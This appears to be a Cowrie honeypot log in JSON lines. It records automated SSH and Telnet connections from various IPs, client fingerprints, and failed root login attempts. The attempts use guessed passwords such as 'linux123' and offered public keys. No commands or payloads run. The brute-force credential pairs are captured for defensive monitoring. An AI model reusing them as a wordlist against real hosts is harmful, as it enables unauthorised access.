{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:14:24.800447Z","src_ip":"40.78.155.180","session":"0161312bb09a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1914","message":"login attempt [root/1914] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:14:24.996937Z","src_ip":"40.78.155.180","session":"0161312bb09a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:14:26.039081Z","src_ip":"40.78.155.180","session":"0161312bb09a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.22.18.220","src_port":55592,"dst_ip":"159.203.135.109","dst_port":22,"session":"01d16090c65a","protocol":"ssh","message":"New connection: 160.22.18.220:55592 (159.203.135.109:22) [session: 01d16090c65a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:14:39.419669Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:14:39.424365Z","src_ip":"160.22.18.220","session":"01d16090c65a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:14:39.665066Z","src_ip":"160.22.18.220","session":"01d16090c65a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nq123","message":"login attempt [root/nq123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:14:40.659306Z","src_ip":"160.22.18.220","session":"01d16090c65a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:14:41.899430Z","src_ip":"160.22.18.220","session":"01d16090c65a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.227.202.48","src_port":38280,"dst_ip":"10.17.0.5","dst_port":23,"session":"164837717e43","protocol":"telnet","message":"New connection: 165.227.202.48:38280 (10.17.0.5:23) [session: 164837717e43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:14:56.155033Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.212.86","src_port":53968,"dst_ip":"10.17.0.5","dst_port":22,"session":"0f4925a50487","protocol":"ssh","message":"New connection: 43.156.212.86:53968 (10.17.0.5:22) [session: 0f4925a50487]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:15:01.822464Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:15:01.838215Z","src_ip":"43.156.212.86","session":"0f4925a50487","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:15:02.080478Z","src_ip":"43.156.212.86","session":"0f4925a50487","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"linux123","message":"login attempt [root/linux123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:15:03.064074Z","src_ip":"43.156.212.86","session":"0f4925a50487","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:15:04.318286Z","src_ip":"43.156.212.86","session":"0f4925a50487","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.01106214523315,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:15:21.306563Z","src_ip":"150.228.15.176","session":"9d0c683b062f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.959123611450195,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:15:33.114042Z","src_ip":"165.227.202.48","session":"164837717e43","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.172.177","src_port":58692,"dst_ip":"10.17.0.5","dst_port":22,"session":"75bb7d943b64","protocol":"ssh","message":"New connection: 152.32.172.177:58692 (10.17.0.5:22) [session: 75bb7d943b64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:15:36.122183Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:15:36.127057Z","src_ip":"152.32.172.177","session":"75bb7d943b64","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:15:36.344768Z","src_ip":"152.32.172.177","session":"75bb7d943b64","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ann12345","message":"login attempt [root/ann12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:15:37.248826Z","src_ip":"152.32.172.177","session":"75bb7d943b64","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:15:38.470240Z","src_ip":"152.32.172.177","session":"75bb7d943b64","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"78.111.67.47","src_port":58128,"dst_ip":"10.17.0.5","dst_port":22,"session":"e8edfe47c15b","protocol":"ssh","message":"New connection: 78.111.67.47:58128 (10.17.0.5:22) [session: e8edfe47c15b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:15:41.919702Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:15:41.925527Z","src_ip":"78.111.67.47","session":"e8edfe47c15b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:15:42.016367Z","src_ip":"78.111.67.47","session":"e8edfe47c15b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"42:de:f2:4b:14:dc:b4:34:93:87:df:2f:d1:bb:74:4a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC+gF52aOQR9VccLvdlbb739RlU72vin0NaJNQkY/00SNBXZw3vLqf3REusew125r4BzjLRz+QcHzJZ8IBHGJW3GBFwbIlcl6bNbFv3iYhbsfBP92mDzUdvU5jWKywCzIwQF2C6Oi7H116A1teAhXDKF66skEE9m3BxQYlkmdOjKwIbZUv/YPoYjDIHr2w64vVu1FPBke1nMFa9HzrTJLWBOdrkIiKVDUyj62EPXqxALhJLLs8dVHPhsmzceUn/2idduoJeMAhlh7u4awsGRgefP178EvBYSioa8O3/IroJieFRp6vHnJip7DTOKgMNzKAJFs+6Q/Y8W/BV/BC1YibY9Ki1dz1gK8O34FiB+DmUTaqmUobtgFlKWvKTkB5cSZznigwZaM0/T27wETwrZW3ZHgcJoeRsfOEFiSLKuwBtiWRTSotA/rOJ1/hNO/k0u8jx5i7waeHaQElDsIOs3zWbJh/xicfejODWkdxfN3pd+yrnPiX+uLv410x5N2f+IRs=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 42:de:f2:4b:14:dc:b4:34:93:87:df:2f:d1:bb:74:4a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:15:42.451316Z","src_ip":"78.111.67.47","session":"e8edfe47c15b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"42:de:f2:4b:14:dc:b4:34:93:87:df:2f:d1:bb:74:4a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC+gF52aOQR9VccLvdlbb739RlU72vin0NaJNQkY/00SNBXZw3vLqf3REusew125r4BzjLRz+QcHzJZ8IBHGJW3GBFwbIlcl6bNbFv3iYhbsfBP92mDzUdvU5jWKywCzIwQF2C6Oi7H116A1teAhXDKF66skEE9m3BxQYlkmdOjKwIbZUv/YPoYjDIHr2w64vVu1FPBke1nMFa9HzrTJLWBOdrkIiKVDUyj62EPXqxALhJLLs8dVHPhsmzceUn/2idduoJeMAhlh7u4awsGRgefP178EvBYSioa8O3/IroJieFRp6vHnJip7DTOKgMNzKAJFs+6Q/Y8W/BV/BC1YibY9Ki1dz1gK8O34FiB+DmUTaqmUobtgFlKWvKTkB5cSZznigwZaM0/T27wETwrZW3ZHgcJoeRsfOEFiSLKuwBtiWRTSotA/rOJ1/hNO/k0u8jx5i7waeHaQElDsIOs3zWbJh/xicfejODWkdxfN3pd+yrnPiX+uLv410x5N2f+IRs=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:15:42.455434Z","src_ip":"78.111.67.47","session":"e8edfe47c15b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f3:31:4e:3e:e6:eb:bb:82:25:45:21:7f:0e:a3:39:1f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDbRfw8L5CMl3AFWjoYw6j8gsynu9YvmIqgNPlcbpxijHr8aLc4dx8M8yr4AtZzOEEvWryEVsQhHncNMPTFi8ONDLTXWs+e+/5Q8aA6LBPSiXvg4u7kTYsiGVKPM411Q/H3JjmUZ13GS6LYna3HeJ5FfiEGN0HUgI2Pjqvf4hMojHwF5cx0L1blRbsMzWYuqaXA8ZExCZtw47iK8EWKxydFqIHfgDuoHoEN7SJ4SrOuK8MmjGPx+tppNtHP3gXkBIoYFswcIkSXlRs79Zo2J9fX0O3kGDSLSUgCdK8IY5IECk58H3tU7lJOiwCkb6P9Dy5kQJ+TGXdL4haPVPADiDV9","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f3:31:4e:3e:e6:eb:bb:82:25:45:21:7f:0e:a3:39:1f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:15:42.550164Z","src_ip":"78.111.67.47","session":"e8edfe47c15b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f3:31:4e:3e:e6:eb:bb:82:25:45:21:7f:0e:a3:39:1f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDbRfw8L5CMl3AFWjoYw6j8gsynu9YvmIqgNPlcbpxijHr8aLc4dx8M8yr4AtZzOEEvWryEVsQhHncNMPTFi8ONDLTXWs+e+/5Q8aA6LBPSiXvg4u7kTYsiGVKPM411Q/H3JjmUZ13GS6LYna3HeJ5FfiEGN0HUgI2Pjqvf4hMojHwF5cx0L1blRbsMzWYuqaXA8ZExCZtw47iK8EWKxydFqIHfgDuoHoEN7SJ4SrOuK8MmjGPx+tppNtHP3gXkBIoYFswcIkSXlRs79Zo2J9fX0O3kGDSLSUgCdK8IY5IECk58H3tU7lJOiwCkb6P9Dy5kQJ+TGXdL4haPVPADiDV9","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:15:42.554970Z","src_ip":"78.111.67.47","session":"e8edfe47c15b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e0:f0:de:19:ea:cd:3e:85:cf:fe:d4:8a:8c:8b:00:06","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIP3zZM4zy9Qhu0Phn2hgKWV7BPogk3NEntYSHt3Qzptr","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint e0:f0:de:19:ea:cd:3e:85:cf:fe:d4:8a:8c:8b:00:06","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:15:42.646919Z","src_ip":"78.111.67.47","session":"e8edfe47c15b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e0:f0:de:19:ea:cd:3e:85:cf:fe:d4:8a:8c:8b:00:06","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIP3zZM4zy9Qhu0Phn2hgKWV7BPogk3NEntYSHt3Qzptr","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:15:42.651891Z","src_ip":"78.111.67.47","session":"e8edfe47c15b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"50:88:14:65:3b:f8:21:9a:83:8e:b4:8a:be:31:01:6a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAv7VxyKaQwIWd5tlbs8T6LUwcgmQAIp20I4yIK+XYBLySXcn1Sm8TNXepVIVsmXWKVxIHdMphFg14CUmx/RrfX5VJVg9cGsFNKRVASoUtGg6LfwZ6XgNb1Wywk47fdNWo5c9p+Wfw2etWpCOrQeclM25uNoBz8GHLa2Y0fEFFq2koPSsM+icE0vUde9Jsk2aAsUb4BGRfAK85CuE14hMzI3xsEwghg+NeEo4zyFy/7exbWSoNtyaawAi896bi0d+qwWQIO2Z0WpE5s/1KfQx9VbxGc4pYB1nxouDzRO17OJ26MflzM/WGlsqmU6JEu28zhXExRkanZRZYD/Ufeyck7Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 50:88:14:65:3b:f8:21:9a:83:8e:b4:8a:be:31:01:6a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:15:42.746432Z","src_ip":"78.111.67.47","session":"e8edfe47c15b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"50:88:14:65:3b:f8:21:9a:83:8e:b4:8a:be:31:01:6a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAv7VxyKaQwIWd5tlbs8T6LUwcgmQAIp20I4yIK+XYBLySXcn1Sm8TNXepVIVsmXWKVxIHdMphFg14CUmx/RrfX5VJVg9cGsFNKRVASoUtGg6LfwZ6XgNb1Wywk47fdNWo5c9p+Wfw2etWpCOrQeclM25uNoBz8GHLa2Y0fEFFq2koPSsM+icE0vUde9Jsk2aAsUb4BGRfAK85CuE14hMzI3xsEwghg+NeEo4zyFy/7exbWSoNtyaawAi896bi0d+qwWQIO2Z0WpE5s/1KfQx9VbxGc4pYB1nxouDzRO17OJ26MflzM/WGlsqmU6JEu28zhXExRkanZRZYD/Ufeyck7Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:15:42.750688Z","src_ip":"78.111.67.47","session":"e8edfe47c15b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3d:e7:e8:45:dd:ec:5a:7a:dc:d8:26:d5:32:27:d9:f0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDW/d9c6ljcl1ACT5kpjBVl3C0h0zt6hk8vO98Wx1SBnnKfATanCrL14rcRVqHs7BAWog6KliIEI+H0t8M6mO4GcnAPvyc7SgH3p1fKNSgGlWXTicEbsVQTUFP46YPSuRlfodazkFOh+LSKqRziw1qkprbNxTP2z45bIJ4T/yV3FUv49tnVh/BLOPNPG9kuPQpiTEHOJKIj3dIyiwddVmg4JkWPubejLLtf3RrP3//3dkEUBH3k2dKRvNgNBpHso9FsBA42XGOgs1dBlnpdKq9G+qvO4WwgE/tSkIkwOm2dXEJy7jmTi2x9pI2PEbtC01YLFPUmm3dzInEH5ONJPq3d","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3d:e7:e8:45:dd:ec:5a:7a:dc:d8:26:d5:32:27:d9:f0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:15:42.844978Z","src_ip":"78.111.67.47","session":"e8edfe47c15b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3d:e7:e8:45:dd:ec:5a:7a:dc:d8:26:d5:32:27:d9:f0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDW/d9c6ljcl1ACT5kpjBVl3C0h0zt6hk8vO98Wx1SBnnKfATanCrL14rcRVqHs7BAWog6KliIEI+H0t8M6mO4GcnAPvyc7SgH3p1fKNSgGlWXTicEbsVQTUFP46YPSuRlfodazkFOh+LSKqRziw1qkprbNxTP2z45bIJ4T/yV3FUv49tnVh/BLOPNPG9kuPQpiTEHOJKIj3dIyiwddVmg4JkWPubejLLtf3RrP3//3dkEUBH3k2dKRvNgNBpHso9FsBA42XGOgs1dBlnpdKq9G+qvO4WwgE/tSkIkwOm2dXEJy7jmTi2x9pI2PEbtC01YLFPUmm3dzInEH5ONJPq3d","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:15:42.849418Z","src_ip":"78.111.67.47","session":"e8edfe47c15b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:15:42.943022Z","src_ip":"78.111.67.47","session":"e8edfe47c15b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.235.138.43","src_port":41466,"dst_ip":"159.203.135.109","dst_port":22,"session":"210b9bbef5a8","protocol":"ssh","message":"New connection: 135.235.138.43:41466 (159.203.135.109:22) [session: 210b9bbef5a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:15:43.314937Z"}
